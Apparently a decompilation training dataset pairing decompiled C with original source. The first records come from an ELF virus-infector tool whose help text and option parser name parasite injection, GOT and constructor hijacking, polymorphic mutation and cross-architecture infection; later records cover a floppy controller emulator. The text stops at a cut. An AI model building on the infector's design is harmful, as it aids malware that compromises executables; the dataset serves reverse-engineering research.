"\t-d, --dtor use dtor redirection\n"
"\t-m, --start-main init|fini|main hijack chosen __libc_start_main arg\n"
"\n"
"PARASITE MODIFICATION:\n"
"\t-v, --patch-addr <addr> explicitly patch parasite with addr for jmp point\n"
"\t-q, --patch-position <position> byte index into parasite with which to patch with return addr\n"
"\t-z, --in-segment-poly <key> mutates the parasite with key, may mark injection segment writable\n"
"-x cross architecture infection, infect executables on i386 if on x64 or infect executables of x64 if on i368\n",
a2);
exit(-1);
}

original_code:
static void print_help(char opt, char *prog)
{
    if (opt != 0x00)
        printf("unrecognized option: %c\n", opt);
    printf(
    "usage: %s [options] <host>\n"
    "options:\n"
    "-p, --parasite <parasite>  specify parasite file\n"
    "\n"
    "INJECTION TECHNIQUES:\n"
    "\t-t, --text               text padding infection\n"
    "\t-r, --reverse            reverse text padding infection\n"
    "\t-w, --data               data padding infection\n"
    "\t-s, --shared <sharedobj> inject shared object\n"
    "\t-a, --relinjex           relocatable injection\n"
    "\t-n, --note               note injection\n"
    "\n"
    "REDIRECTION TECHNIQUES:\n"
    "\t-g, --got <symbol>               hijack symbol's got entry\n"
    "\t-e, --entrypoint                 use entry point redirection\n"
    "\t-c, --ctor                       use ctor redirection\n"
    "\t-d, --dtor                       use dtor redirection\n"
    "\t-m, --start-main init|fini|main  hijack chosen __libc_start_main arg\n"
    "\n"
    "PARASITE MODIFICATION:\n"
    "\t-v, --patch-addr <addr>         explicitly patch parasite with addr for jmp point\n"
    "\t-q, --patch-position <position> byte index into parasite with which to patch with return addr\n"
    "\t-z, --in-segment-poly <key>     mutates the parasite with key, may mark injection segment writable\n"
    "-x                 cross architecture infection, infect executables on i386 if on x64 or infect executables of x64 if on i368\n",
    prog);
    exit(-1);
}

variable_types: opt char

variable_types:
prog
char *


usage

decompiled_code:
int __fastcall usage(int argc, char **argv)
{
void *v2; // rax
void *v3; // rbx
int result; // eax

v2 = malloc(0x150uLL);
if ( argc <= 2 )
print_help(0, *argv);
v3 = v2;
memset(v2, 0, 0x150uLL);
while ( 1 )
{
result = getopt_long(argc, argv, "z:p:trsnaeg:cdm:v:q:xh", &long_options, &option_index);
if ( result == -1 )
break;
switch ( result )
{
case 'a':
*((_DWORD *)v3 + 82) = 5;
break;
case 'c':
*((_DWORD *)v3 + 55) = 3;
break;
case 'd':
*((_DWORD *)v3 + 55) = 4;
break;
case 'e':
*((_DWORD *)v3 + 55) = 1;
break;
case 'g':
strncpy((char *)v3 + 224, optarg, 0x63uLL);
*((_DWORD *)v3 + 55) = 2;
break;
case 'h':
print_help(0, *argv);
case 'm':
*((_DWORD *)v3 + 81) = str_to_mode(optarg);
*((_DWORD *)v3 + 55) = 6;
break;
case 'n':
*((_DWORD *)v3 + 82) = 6;
break;
case 'p':
strncpy((char *)v3 + 100, optarg, 0x63uLL);
break;
case 'q':
*((_DWORD *)v3 + 54) = atoi(optarg);
break;
case 'r':
*((_DWORD *)v3 + 82) = 2;
break;
case 's':
*((_DWORD *)v3 + 82) = 4;
break;
case 't':
*((_DWORD *)v3 + 82) = 1;
break;
case 'v':
*((_QWORD *)v3 + 26) = strtoul(optarg, 0LL, 16);
break;
case 'w':
*((_DWORD *)v3 + 82) = 3;
break;
case 'x':
++*((_DWORD *)v3 + 83);
break;
case 'z':
*((_BYTE *)v3 + 200) = *optarg;
break;
default:
print_help(result, *argv);
}
}
return result;
}

canonical_decompiled_code:
int __fastcall func1(int argc, char **argv)
{
void *v2; // rax
void *v3; // rbx
int result; // eax

v2 = malloc(0x150uLL);
if ( argc <= 2 )
func0(0, *argv);
v3 = v2;
memset(v2, 0, 0x150uLL);
while ( 1 )
{
result = getopt_long(argc, argv, "z:p:trsnaeg:cdm:v:q:xh", &long_options, &option_index);
if ( result == -1 )
break;
switch ( result )
{
case 'a':
*((_DWORD *)v3 + 82) = 5;
break;
case 'c':
*((_DWORD *)v3 + 55) = 3;
break;
case 'd':
*((_DWORD *)v3 + 55) = 4;
break;
case 'e':
*((_DWORD *)v3 + 55) = 1;
break;
case 'g':
strncpy((char *)v3 + 224, optarg, 0x63uLL);
*((_DWORD *)v3 + 55) = 2;
break;
case 'h':
func0(0, *argv);
case 'm':
*((_DWORD *)v3 + 81) = str_to_mode(optarg);
*((_DWORD *)v3 + 55) = 6;
break;
case 'n':
*((_DWORD *)v3 + 82) = 6;
break;
case 'p':
strncpy((char *)v3 + 100, optarg, 0x63uLL);
break;
case 'q':
*((_DWORD *)v3 + 54) = atoi(optarg);
break;
case 'r':
*((_DWORD *)v3 + 82) = 2;
break;
case 's':
*((_DWORD *)v3 + 82) = 4;
break;
case 't':
*((_DWORD *)v3 + 82) = 1;
break;
case 'v':
*((_QWORD *)v3 + 26) = strtoul(optarg, 0LL, 16);
break;
case 'w':
*((_DWORD *)v3 + 82) = 3;
break;
case 'x':
++*((_DWORD *)v3 + 83);
break;
case 'z':
*((_BYTE *)v3 + 200) = *optarg;
break;
default:
func0(result, *argv);
}
}
return result;
}

original_code:
opts_t * usage(int argc, char *argv[])
{
    opts_t *opts;
    int c;
    opts = malloc(sizeof(opts_t));
    if (argc < 3)
    {
        print_help(0, argv[0]);
        return ((void *)0);
    }
    memset(opts, 0, sizeof(opts_t));
    while((c = getopt_long(argc, argv, "z:p:trsnaeg:cdm:v:q:xh", long_options, &option_index)) != -1)
    {
        switch(c)
        {
            case 'z': opts->polymorphic_key = optarg[0]; break;
            case 'p': strncpy(opts->parasite, optarg, 100 -1); break;
            case 't':
                opts->injection_method = 1; break;
            case 'r':
                opts->injection_method = 2; break;
            case 's':
                opts->injection_method = 4; break;
            case 'w':
                opts->injection_method = 3; break;
            case 'a':
                opts->injection_method = 5; break;
            case 'n':
                opts->injection_method = 6; break;
            case 'e': opts->redirection_method = 1; break;
            case 'g': strncpy(opts->pltsymbol, optarg, 100 -1);
                opts->redirection_method = 2; break;
            case 'c': opts->redirection_method = 3; break;
            case 'd': opts->redirection_method = 4; break;
            case 'm': opts->startmain_mode = str_to_mode(optarg);
            opts->redirection_method = 6; break;
            case 'v': opts->patch_addr = strtoul(optarg, ((void *)0), 16); break;
            case 'q': opts->patch_pos = atoi(optarg); break;
            case 'x': opts->cross_infect++; break;
            case 'h': print_help(0x00, argv[0]); break;
            default: print_help((char) c, argv[0]); break;
        }
    }
    strncpy(opts->host, argv[argc-1], 100 -1);
}

canonical_original_code:
struct opts_t *usage(int argc, char *argv[])
{
    struct opts_t *opts;
    int c;
    opts = malloc(sizeof(opts_t));
    if (argc < 3)
    {
        print_help(0, argv[0]);
        return ((void *)0);
    }
    memset(opts, 0, sizeof(opts_t));
    while((c = getopt_long(argc, argv, "z:p:trsnaeg:cdm:v:q:xh", long_options, &option_index)) != -1)
    {
        switch(c)
        {
            case 'z': opts->polymorphic_key = optarg[0]; break;
            case 'p': strncpy(opts->parasite, optarg, 100 -1); break;
            case 't':
                opts->injection_method = 1; break;
            case 'r':
                opts->injection_method = 2; break;
            case 's':
                opts->injection_method = 4; break;
            case 'w':
                opts->injection_method = 3; break;
            case 'a':
                opts->injection_method = 5; break;
            case 'n':
                opts->injection_method = 6; break;
            case 'e': opts->redirection_method = 1; break;
            case 'g': strncpy(opts->pltsymbol, optarg, 100 -1);
                opts->redirection_method = 2; break;
            case 'c': opts->redirection_method = 3; break;
            case 'd': opts->redirection_method = 4; break;
            case 'm': opts->startmain_mode = str_to_mode(optarg);
            opts->redirection_method = 6; break;
            case 'v': opts->patch_addr = strtoul(optarg, ((void *)0), 16); break;
            case 'q': opts->patch_pos = atoi(optarg); break;
            case 'x': opts->cross_infect++; break;
            case 'h': print_help(0x00, argv[0]); break;
            default: print_help((char) c, argv[0]); break;
        }
    }
    strncpy(opts->host, argv[argc-1], 100 -1);
}

variable_types: argc int

variable_types:
argv
char *[]

variable_types: struct opts_t { char host[100]; char parasite[100]; char polymorphic_key; unsigned long patch_addr; unsigned int patch_pos; unsigned int redirection_method; char pltsymbol[100]; unsigned int startmain_mode; unsigned int injection_method; unsigned int cross_infect; } *


decompiled_code:
__int64 fdc_getmainstatus()
{
if ( fdc_status_main >= 0 )
fdc_status_main |= 0x80u;
return (unsigned __int8)fdc_status_main;
}

canonical_decompiled_code:
__int64 func0()
{
if ( fdc_status_main >= 0 )
fdc_status_main |= 0x80u;
return (unsigned __int8)fdc_status_main;
}

original_code:
unsigned char fdc_getmainstatus(void) {
 if (!(fdc_status_main&0x80)) {
  fdc_status_main|=0x80;
 }
 return fdc_status_main;
}

canonical_original_code:
unsigned char fdc_getmainstatus() {
 if (!(fdc_status_main&0x80)) {
  fdc_status_main|=0x80;
 }
 return fdc_status_main;
}

return_type: unsigned char


decompiled_code:
int fdc_terminalcount()
{
int result; // eax

result = puts("*** TC set");
if ( phase == 1 )
{
phase = 2;
fdc_status_main &= 0xDFu;
fdc_interrupt_pending = 1;
}
return result;
}

canonical_decompiled_code:
int func1()
{
int result; // eax

result = puts("*** TC set");
if ( phase == 1 )
{
phase = 2;
fdc_status_main &= 0xDFu;
fdc_interrupt_pending = 1;
}
return result;
}

original_code:
void fdc_terminalcount(void) {
 printf("*** TC set\n");
 if (phase == 1) {
  phase = 2;
  fdc_status_main&=~0x20;
  fdc_interrupt_pending = 1;
 }
}

canonical_original_code:
void fdc_terminalcount() {
 printf("*** TC set\n");
 if (phase == 1) {
  phase = 2;
  fdc_status_main&=~0x20;
  fdc_interrupt_pending = 1;
 }
}


decompiled_code:
__int64 __fastcall fdc_interrupt(int a1)
{
__int64 result; // rax

result = (unsigned int)fdc_interrupt_pending;
if ( fdc_interrupt_pending )
{
result = 1LL;
if ( a1 )
fdc_interrupt_pending = 0;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func2(int a1)
{
__int64 result; // rax

result = (unsigned int)fdc_interrupt_pending;
if ( fdc_interrupt_pending )
{
result = 1LL;
if ( a1 )
fdc_interrupt_pending = 0;
}
return result;
}

original_code:
int fdc_interrupt(int clear) {
 if(fdc_interrupt_pending) {
  if (clear) fdc_interrupt_pending = 0;
  return(1);
 } else return (0);
}

variable_types: clear int


decompiled_code:
__int64 fdc_senseint()
{
__int64 result; // rax

fdcresult = fdc_status;
*(&fdcresult + 1) = fdc_track;
resultlen = 2;
ResByte = 0;
fdc_status = 0;
result = fdc_status_main & 0xF0 | 0x40u;
fdc_status_main = fdc_status_main & 0xF0 | 0x40;
phase = 2;
return result;
}

canonical_decompiled_code:
__int64 func4()
{
__int64 result; // rax

fdcresult = fdc_status;
*(&fdcresult + 1) = fdc_track;
resultlen = 2;
ResByte = 0;
fdc_status = 0;
result = fdc_status_main & 0xF0 | 0x40u;
fdc_status_main = fdc_status_main & 0xF0 | 0x40;
phase = 2;
return result;
}

original_code:
void fdc_senseint(void) {
 fdcresult[0] = fdc_status[0];
 fdcresult[1] = fdc_track;
 resultlen = 2;
 ResByte = 0;
 fdc_status_main&=~(0x01|0x02|0x04|0x08);
 fdc_status[0] = 0;
 fdc_status_main|=0x40;
 phase = 2;
}

canonical_original_code:
void fdc_senseint() {
 fdcresult[0] = fdc_status[0];
 fdcresult[1] = fdc_track;
 resultlen = 2;
 ResByte = 0;
 fdc_status_main&=~(0x01|0x02|0x04|0x08);
 fdc_status[0] = 0;
 fdc_status_main|=0x40;
 phase = 2;
}


decompiled_code:
__int64 __fastcall fdc_seek(unsigned int a1)
{
int v1; // ebx
char v2; // al
char v3; // al
__int64 result; // rax

v1 = ((int)(unsigned __int8)fdccommand[1] >> 2) & 1;
printf("Seeking to Track %i\n", a1);
fdc_track = a1;
if ( a1 )
v2 = fdc_status[3] & 0xEF;
else
v2 = fdc_status[3] | 0x10;
fdc_status[3] = v2;
if ( v1 )
v3 = fdc_status[0] | 4;
else
v3 = fdc_status[0] & 0xFB;
fdc_status[0] = v3 | 0x20;
result = fdccommand[1] & 3;
if ( (_BYTE)result == 2 )
{
fdc_status_main |= 4u;
}
else if ( (fdccommand[1] & 3) == 3 )
{
fdc_status_main |= 8u;
}
else if ( (_BYTE)result )
{
fdc_status_main |= 2u;
}
else
{
fdc_status_main |= 1u;
}
fdc_interrupt_pending = 1;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func5(unsigned int a1)
{
int v1; // ebx
char v2; // al
char v3; // al
__int64 result; // rax

v1 = ((int)(unsigned __int8)fdccommand[1] >> 2) & 1;
printf("Seeking to Track %i\n", a1);
fdc_track = a1;
if ( a1 )
v2 = fdc_status[3] & 0xEF;
else
v2 = fdc_status[3] | 0x10;
fdc_status[3] = v2;
if ( v1 )
v3 = fdc_status[0] | 4;
else
v3 = fdc_status[0] & 0xFB;
fdc_status[0] = v3 | 0x20;
result = fdccommand[1] & 3;
if ( (_BYTE)result == 2 )
{
fdc_status_main |= 4u;
}
else if ( (fdccommand[1] & 3) == 3 )
{
fdc_status_main |= 8u;
}
else if ( (_BYTE)result )
{
fdc_status_main |= 2u;
}
else
{
fdc_status_main |= 1u;
}
fdc_interrupt_pending = 1;
return result;
}

original_code:
void fdc_seek(int track) {
 int head = (fdccommand[1]&0x04)>>2;
 printf("Seeking to Track %i\n", track);
 fdc_track = track;
 if (track == 0)
  fdc_status[3]|=0x10;
 else
  fdc_status[3]&=~0x10;
 if (head == 0)
  fdc_status[0]&=~0x04;
 else
  fdc_status[0]|=0x04;
 fdc_status[0]|=0x20;
 switch(fdccommand[1]&0x03) {
  case 0:
   fdc_status_main|=0x01; break;
  case 1:
   fdc_status_main|=0x02; break;
  case 2:
   fdc_status_main|=0x04; break;
  case 3:
   fdc_status_main|=0x08; break;
 }
 fdc_interrupt_pending = 1;
}

variable_types: track int

variable_types: head int


decompiled_code:
int __fastcall fdc_setresult(unsigned int a1, unsigned int a2, unsigned int a3)
{
__int64 v3; // r9
__int64 v4; // rax
unsigned __int8 v5; // si
unsigned __int8 v6; // dl
unsigned __int8 v7; // cl

v3 = a2;
v4 = a3;
v5 = fdc_status[0];
fdcresult = fdc_status[0];
v6 = fdc_status[1];
*(&fdcresult + 1) = v6;
v7 = fdc_status[2];
*(&fdcresult + 2) = v7;
*(&fdcresult + 3) = a1;
*(&fdcresult + 4) = v3;
*(&fdcresult + 5) = v4;
*(&fdcresult + 6) = 2;
resultlen = 7;
ResByte = 0;
return printf("Setting command result: R0:%02X R1:%02X R2:%02X TRACK:%i HEAD:%i SECTOR:%i\n", v5, v6, v7, a1, v3, v4);
}

canonical_decompiled_code:
int __fastcall func6(unsigned int a1, unsigned int a2, unsigned int a3)
{
__int64 v3; // r9
__int64 v4; // rax
unsigned __int8 v5; // si
unsigned __int8 v6; // dl
unsigned __int8 v7; // cl

v3 = a2;
v4 = a3;
v5 = fdc_status[0];
fdcresult = fdc_status[0];
v6 = fdc_status[1];
*(&fdcresult + 1) = v6;
v7 = fdc_status[2];
*(&fdcresult + 2) = v7;
*(&fdcresult + 3) = a1;
*(&fdcresult + 4) = v3;
*(&fdcresult + 5) = v4;
*(&fdcresult + 6) = 2;
resultlen = 7;
ResByte = 0;
return printf("Setting command result: R0:%02X R1:%02X R2:%02X TRACK:%i HEAD:%i SECTOR:%i\n", v5, v6, v7, a1, v3, v4);
}

original_code:
void fdc_setresult(int track, int head, int sector) {
 fdcresult[0] = fdc_status[0];
 fdcresult[1] = fdc_status[1];
 fdcresult[2] = fdc_status[2];
 fdcresult[3] = track;
 fdcresult[4] = head;
 fdcresult[5] = sector;
 fdcresult[6] = 2;
 resultlen = 7;
 ResByte = 0;
 printf("Setting command result: R0:%02X R1:%02X R2:%02X TRACK:%i HEAD:%i SECTOR:%i\n", fdc_status[0], fdc_status[1], fdc_status[2], track, head, sector);
}

variable_types: sector int


decompiled_code:
__int64 fdc_read_data()
{
__int64 result; // rax

printf(
"Reading Sector %i at Track %i, Head %i\n",
(unsigned __int8)fdccommand[4],
(unsigned int)fdc_track,
(unsigned __int8)fdccommand[3]);
fdc_setresult(fdc_track, (unsigned __int8)fdccommand[3], (unsigned __int8)fdccommand[4]);
fdc_interrupt_pending = 1;
result = (unsigned __int8)fdccommand[4];
fdc_sector = (unsigned __int8)fdccommand[4];
fdc_bytepos = 0;
fdc_status_main |= 0x60u;
phase = 1;
return result;
}

canonical_decompiled_code:
__int64 func7()
{
__int64 result; // rax

printf(
"Reading Sector %i at Track %i, Head %i\n",
(unsigned __int8)fdccommand[4],
(unsigned int)fdc_track,
(unsigned __int8)fdccommand[3]);
func6(fdc_track, (unsigned __int8)fdccommand[3], (unsigned __int8)fdccommand[4]);
fdc_interrupt_pending = 1;
result = (unsigned __int8)fdccommand[4];
fdc_sector = (unsigned __int8)fdccommand[4];
fdc_bytepos = 0;
fdc_status_main |= 0x60u;
phase = 1;
return result;
}

original_code:
void fdc_read_data(void) {
 printf("Reading Sector %i at Track %i, Head %i\n", fdccommand[4], fdc_track, fdccommand[3]);
 fdc_setresult(fdc_track, fdccommand[3], fdccommand[4]);
 fdc_interrupt_pending = 1;
 fdc_sector=fdccommand[4];
 fdc_bytepos=0;
 fdc_status_main|=0x40;
 fdc_status_main|=0x20;
 phase = 1;
}

canonical_original_code:
void fdc_read_data() {
 printf("Reading Sector %i at Track %i, Head %i\n", fdccommand[4], fdc_track, fdccommand[3]);
 fdc_setresult(fdc_track, fdccommand[3], fdccommand[4]);
 fdc_interrupt_pending = 1;
 fdc_sector=fdccommand[4];
 fdc_bytepos=0;
 fdc_status_main|=0x40;
 fdc_status_main|=0x20;
 phase = 1;
}


decompiled_code:
int fdc_read_id()
{
int v0; // ebx
int result; // eax

v0 = (unsigned __int8)fdccommand[1];
printf("Reading Sector ID at Track %i, Head %i\n", (unsigned int)fdc_track, (unsigned __int8)fdccommand[1]);
result = fdc_setresult(fdc_track, (v0 >> 2) & 1, 1u);
fdc_interrupt_pending = 1;
fdc_status_main |= 0x40u;
phase = 2;
return result;
}

canonical_decompiled_code:
int func8()
{
int v0; // ebx
int result; // eax

v0 = (unsigned __int8)fdccommand[1];
printf("Reading Sector ID at Track %i, Head %i\n", (unsigned int)fdc_track, (unsigned __int8)fdccommand[1]);
result = func6(fdc_track, (v0 >> 2) & 1, 1u);
fdc_interrupt_pending = 1;
fdc_status_main |= 0x40u;
phase = 2;
return result;
}

original_code:
void fdc_read_id(void) {
 int head = (fdccommand[1]&0x04)>>2;
 printf("Reading Sector ID at Track %i, Head %i\n", fdc_track, fdccommand[1]);
 fdc_setresult(fdc_track, head, 1);
 fdc_interrupt_pending = 1;
 fdc_status_main|=0x40;
 phase = 2;
}

canonical_original_code:
void fdc_read_id() {
 int head = (fdccommand[1]&0x04)>>2;
 printf("Reading Sector ID at Track %i, Head %i\n", fdc_track, fdccommand[1]);
 fdc_setresult(fdc_track, head, 1);
 fdc_interrupt_pending = 1;
 fdc_status_main|=0x40;
 phase = 2;
}


decompiled_code:
int __fastcall fdc_write(unsigned __int8 a1)
{
int v1; // eax
int result; // eax

if ( !phase )
{
v1 = CmdByte;
fdccommand[CmdByte] = a1;
if ( !v1 )
{
switch ( a1 & 0x1F )
{
case 2:
case 5:
case 6:
case 9:
case 0xC:
case 0x11:
case 0x19:
case 0x1D:
cmdlen_0 = 9;
break;
case 3:
case 0xF:
cmdlen_0 = 3;
break;
case 4:
case 7:
case 0xA:
cmdlen_0 = 2;
break;
case 8:
case 0x10:
cmdlen_0 = 1;
break;
case 0xD:
cmdlen_0 = 6;
break;
default:
cmdlen_0 = 1;
printf("Invalid FDC Command received: 0x%x\n", a1);
break;
}
}
result = CmdByte + 1;
CmdByte = result;
if ( result == cmdlen_0 )
{
result = fdccommand[0] & 0x1F;
switch ( (char)result )
{
case 2:
result = puts("*** Unimplemented FDC Command READ DIAGNOSTIC");
break;
case 3:
fdc_status_main &= 0xEFu;
break;
case 4:
result = puts("*** Unimplemented FDC Command SENSE DRIVE");
break;
case 5:
result = puts("*** Unimplemented FDC Command WRITE DATA");
break;
case 6:
result = fdc_read_data();
break;
case 7:
result = fdc_seek(0);
break;
case 8:
result = fdc_senseint();
break;
case 9:
result = puts("*** Unimplemented FDC Command WRITE DELETED DATA");
break;
case 10:
result = fdc_read_id();
break;
case 12:
result = puts("*** Unimplemented FDC Command READ DELETED DATA");
break;
case 13:
result = puts("*** Unimplemented FDC Command WRITE ID");
break;
case 15:
result = fdc_seek((unsigned __int8)fdccommand[2]);
break;
case 16:
result = puts("*** Unimplemented FDC Command VERSION");
break;
case 17:
result = puts("*** Unimplemented FDC Command SCAN EQUAL");
break;
case 25:
result = puts("*** Unimplemented FDC Command SCAN LOW OR EQUAL");
break;
case 29:
result = puts("*** Unimplemented FDC Command SCAN HIGH OR EQUAL");
break;
default:
break;
}
CmdByte = 0;
}
}
return result;
}

canonical_decompiled_code:
int __fastcall func9(unsigned __int8 a1)
{
int v1; // eax
int result; // eax

if ( !phase )
{
v1 = CmdByte;
fdccommand[CmdByte] = a1;
if ( !v1 )
{
switch ( a1 & 0x1F )
{
case 2:
case 5:
case 6:
case 9:
case 0xC:
case 0x11:
case 0x19:
case 0x1D:
cmdlen_0 = 9;
break;
case 3:
case 0xF:
cmdlen_0 = 3;
break;
case 4:
case 7:
case 0xA:
cmdlen_0 = 2;
break;
case 8:
case 0x10:
cmdlen_0 = 1;
break;
case 0xD:
cmdlen_0 = 6;
break;
default:
cmdlen_0 = 1;
printf("Invalid FDC Command received: 0x%x\n", a1);
break;
}
}
result = CmdByte + 1;
CmdByte = result;
if ( result == cmdlen_0 )
{
result = fdccommand[0] & 0x1F;
switch ( (char)result )
{
case 2:
result = puts("*** Unimplemented FDC Command READ DIAGNOSTIC");
break;
case 3:
fdc_status_main &= 0xEFu;
break;
case 4:
result = puts("*** Unimplemented FDC Command SENSE DRIVE");
break;
case 5:
result = puts("*** Unimplemented FDC Command WRITE DATA");
break;
case 6:
result = func7();
break;
case 7:
result = func5(0);
break;
case 8:
result = func4();
break;
case 9:
result = puts("*** Unimplemented FDC Command WRITE DELETED DATA");
break;
case 10:
result = func8();
break;
case 12:
result = puts("*** Unimplemented FDC Command READ DELETED DATA");
break;
case 13:
result = puts("*** Unimplemented FDC Command WRITE ID");
break;
case 15:
result = func5((unsigned __int8)fdccommand[2]);
break;
case 16:
result = puts("*** Unimplemented FDC Command VERSION");
break;
case 17:
result = puts("*** Unimplemented FDC Command SCAN EQUAL");
break;
case 25:
result = puts("*** Unimplemented FDC Command SCAN LOW OR EQUAL");
break;
case 29:
result = puts("*** Unimplemented FDC Command SCAN HIGH OR EQUAL");
break;
default:
break;
}
CmdByte = 0;
}
}
return result;
}

original_code:
void fdc_write(unsigned char a) {
 static int cmdlen = 9;
 switch(phase) {
  case 0:
   fdccommand[CmdByte] = a;
   if (CmdByte == 0) {
    switch(a&0x1F) {
     case 0x06:
     case 0x0C:
     case 0x05:
     case 0x09:
     case 0x02:
     case 0x11:
     case 0x19:
     case 0x1D:
      cmdlen = 9;
      break;
     case 0x0D:
      cmdlen = 6;
      break;
     case 0x03:
     case 0x0F:
      cmdlen = 3;
      break;
     case 0x0A:
     case 0x07:
     case 0x04:
      cmdlen = 2;
      break;
     case 0x08:
     case 0x10:
      cmdlen = 1;
      break;
     default:
      cmdlen = 1;
      printf("Invalid FDC Command received: 0x%x\n", a);
      break;
    }
   }
   CmdByte++;
   if (CmdByte == cmdlen) {
    switch(fdccommand[0]&0x1F) {
     case 0x06:
      fdc_read_data();
      break;
     case 0x0C:
      printf("*** Unimplemented FDC Command READ DELETED DATA\n");
      break;
     case 0x05:
      printf("*** Unimplemented FDC Command WRITE DATA\n");
      break;
     case 0x09:
      printf("*** Unimplemented FDC Command WRITE DELETED DATA\n");
      break;
     case 0x02:
      printf("*** Unimplemented FDC Command READ DIAGNOSTIC\n");
      break;
     case 0x0A:
      fdc_read_id();
      break;
     case 0x0D:
      printf("*** Unimplemented FDC Command WRITE ID\n");
      break;
     case 0x11:
      printf("*** Unimplemented FDC Command SCAN EQUAL\n");
      break;
     case 0x19:
      printf("*** Unimplemented FDC Command SCAN LOW OR EQUAL\n");
      break;
     case 0x1D:
      printf("*** Unimplemented FDC Command SCAN HIGH OR EQUAL\n");
      break;
     case 0x07:
      fdc_seek(0);
      break;
     case 0x08:
      fdc_senseint();
      break;
     case 0x03:
      fdc_status_main&=~0x10;
      break;
     case 0x04:
      printf("*** Unimplemented FDC Command SENSE DRIVE\n");
      break;
     case 0x10:
      printf("*** Unimplemented FDC Command VERSION\n");
      break;
     case 0x0F:
      fdc_seek(fdccommand[2]);
      break;
     default:
      break;
    }
    CmdByte = 0;
   }
   break;
  case 1:
   break;
  case 2:
   break;
 }
}

variable_types:
a
unsigned char

variable_types: cmdlen int


decompiled_code:
__int64 fdc_sendbyte()
{
__int64 result; // rax
int v1; // esi

result = 0LL;
if ( fdc_status_main < 0 )
{
v1 = fdc_sector;
result = *(unsigned __int8 *)(floppydata
+ fdc_bytepos
+ ((fdc_sector
+ 9 * ((((int)(unsigned __int8)fdccommand[1] >> 2) & 1) + 2 * fdc_track)
- 1) << 9));
if ( fdc_bytepos == 511 )
{
fdc_bytepos = 0;
++fdc_sector;
if ( v1 + 1 > 9 )
{
phase = 2;
fdc_status_main &= 0xDFu;
}
}
else
{
++fdc_bytepos;
}
}
return result;
}

canonical_decompiled_code:
__int64 func10()
{
__int64 result; // rax
int v1; // esi

result = 0LL;
if ( fdc_status_main < 0 )
{
v1 = fdc_sector;
result = *(unsigned __int8 *)(floppydata
+ fdc_bytepos
+ ((fdc_sector
+ 9 * ((((int)(unsigned __int8)fdccommand[1] >> 2) & 1) + 2 * fdc_track)
- 1) << 9));
if ( fdc_bytepos == 511 )
{
fdc_bytepos = 0;
++fdc_sector;
if ( v1 + 1 > 9 )
{
phase = 2;
fdc_status_main &= 0xDFu;
}
}
else
{
++fdc_bytepos;
}
}
return result;
}

original_code:
unsigned char fdc_sendbyte(void) {
 int head = (fdccommand[1]&0x04)>>2;
 int lba;
 unsigned char output;
 if (!(fdc_status_main&0x80)) return 0;
 lba = (( fdc_track * 2 + head) * 9) + fdc_sector - 1;
 output = floppydata[(lba*512) + fdc_bytepos];
 fdc_bytepos++;
 if (fdc_bytepos == 512) {
  fdc_bytepos = 0;
  fdc_sector++;
  if(fdc_sector > 9) {
   phase = 2;
   fdc_status_main&=~0x20;
  }
 }
 return output;
}

canonical_original_code:
unsigned char fdc_sendbyte() {
 int head = (fdccommand[1]&0x04)>>2;
 int lba;
 unsigned char output;
 if (!(fdc_status_main&0x80)) return 0;
 lba = (( fdc_track * 2 + head) * 9) + fdc_sector - 1;
 output = floppydata[(lba*512) + fdc_bytepos];
 fdc_bytepos++;
 if (fdc_bytepos == 512) {
  fdc_bytepos = 0;
  fdc_sector++;
  if(fdc_sector > 9) {
   phase = 2;
   fdc_status_main&=~0x20;
  }
 }
 return output;
}

variable_types: lba int

variable_types:
output
unsigned char


decompiled_code:
__int64 fdc_read()
{
__int64 result; // rax

if ( phase == 1 )
return fdc_sendbyte();
if ( phase != 2 )
return 0LL;
result = (unsigned __int8)fdcresult[ResByte++];
if ( ResByte == resultlen )
{
phase = 0;
fdc_status_main &= 0xAFu;
}
return result;
}

canonical_decompiled_code:
__int64 func11()
{
__int64 result; // rax

if ( phase == 1 )
return func10();
if ( phase != 2 )
return 0LL;
result = (unsigned __int8)fdcresult[ResByte++];
if ( ResByte == resultlen )
{
phase = 0;
fdc_status_main &= 0xAFu;
}
return result;
}

original_code:
unsigned char fdc_read(void) {
 unsigned char output = 0;
 switch(phase) {
  case 1:
   output = fdc_sendbyte();
   break;
  case 2:
   output = fdcresult[ResByte];
   ResByte++;
   if (ResByte == resultlen) {
    phase = 0;
    fdc_status_main&=~0x40;
    fdc_status_main&=~0x10;
   }
   break;
 }
 return output;
}

canonical_original_code:
unsigned char fdc_read() {
 unsigned char output = 0;
 switch(phase) {
  case 1:
   output = fdc_sendbyte();
   break;
  case 2:
   output = fdcresult[ResByte];
   ResByte++;
   if (ResByte == resultlen) {
    phase = 0;
    fdc_status_main&=~0x40;
    fdc_status_main&=~0x10;
   }
   break;
 }
 return output;
}


libdir

decompiled_code:
char *__fastcall libdir(const char *a1)
{
char *v1; // rax
const char *v2; // rbx
char *v4; // rax
const char *v5; // rbx

v1 = getenv("NC100EM_HOME");
if ( v1 )
{
v2 = v1;
mkdir(v1, 0x1FFu);
snprintf(buf_0, 0x400uLL, "%s/%s", v2, a1);
}
else
{
v4 = getenv("HOME");
v5 = v4;
if ( v4 )
{
snprintf(buf_0, 0x400uLL, "%s/nc100", v4);
mkdir(buf_0, 0x1FFu);
snprintf(buf_0, 0x400uLL, "%s/nc100/%s", v5, a1);
}
else
{
snprintf(buf_0, 0x400uLL, "%s", a1);
}
}
return buf_0;
}

canonical_decompiled_code:
char *__fastcall func0(const char *a1)
{
char *v1; // rax
const char *v2; // rbx
char *v4; // rax
const char *v5; // rbx

v1 = getenv("NC100EM_HOME");
if ( v1 )
{
v2 = v1;
mkdir(v1, 0x1FFu);
snprintf(buf_0, 0x400uLL, "%s/%s", v2, a1);
}
else
{
v4 = getenv("HOME");
v5 = v4;
if ( v4 )
{
snprintf(buf_0, 0x400uLL, "%s/nc100", v4);
mkdir(buf_0, 0x1FFu);
snprintf(buf_0, 0x400uLL, "%s/nc100/%s", v5, a1);
}
else
{
snprintf(buf_0, 0x400uLL, "%s", a1);
}
}
return buf_0;
}

original_code:
char *libdir(char *file)
{
static char buf[1024];
char *nchome=getenv("NC100EM_HOME");
if(nchome)
  {
  mkdir(nchome,0777);
  snprintf(buf,sizeof(buf),"%s/%s",nchome,file);
  }
else
  {
  char *home=getenv("HOME");
  if(!home)
    snprintf(buf,sizeof(buf),"%s",file);
  else
    {
    snprintf(buf,sizeof(buf),"%s/nc100",home);
    mkdir(buf,0777);
    snprintf(buf,sizeof(buf),"%s/nc100/%s",home,file);
    }
  }
return(buf);
}

canonical_original_code:
char *libdir(char *file)
{
